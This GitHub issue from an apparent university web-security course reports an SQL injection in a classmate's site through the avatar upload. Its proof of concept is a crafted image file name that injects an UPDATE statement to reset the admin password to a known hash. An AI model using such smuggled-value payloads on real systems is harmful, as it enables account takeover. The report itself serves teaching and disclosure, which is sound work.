search

Taiwan-Tech-WebSec / Bug-Report

4 stars 0 forks source link

B10815062之漏洞回報 #78

Closed B10732018 closed 2 years ago

B10732018 commented 2 years ago

攻擊者學號：B10732018 @B10732018

被攻擊者學號與網址：B10815062 @yochan0412 https://demo.yochan.live/

漏洞類型：SQL injection(上傳大頭照)

漏洞描述 上傳一個名稱是

',`password`='6e5c4fe0e695b635efaf83453a1a04c8d0626ead0de2d18818b7cef39e8eec3c' WHERE (`account` = 'admin');-- #.jpg

的圖片，就能將admin的密碼改成123456789。

PoC

',`password`='6e5c4fe0e695b635efaf83453a1a04c8d0626ead0de2d18818b7cef39e8eec3c' WHERE (`account` = 'admin');-- #.jpg

image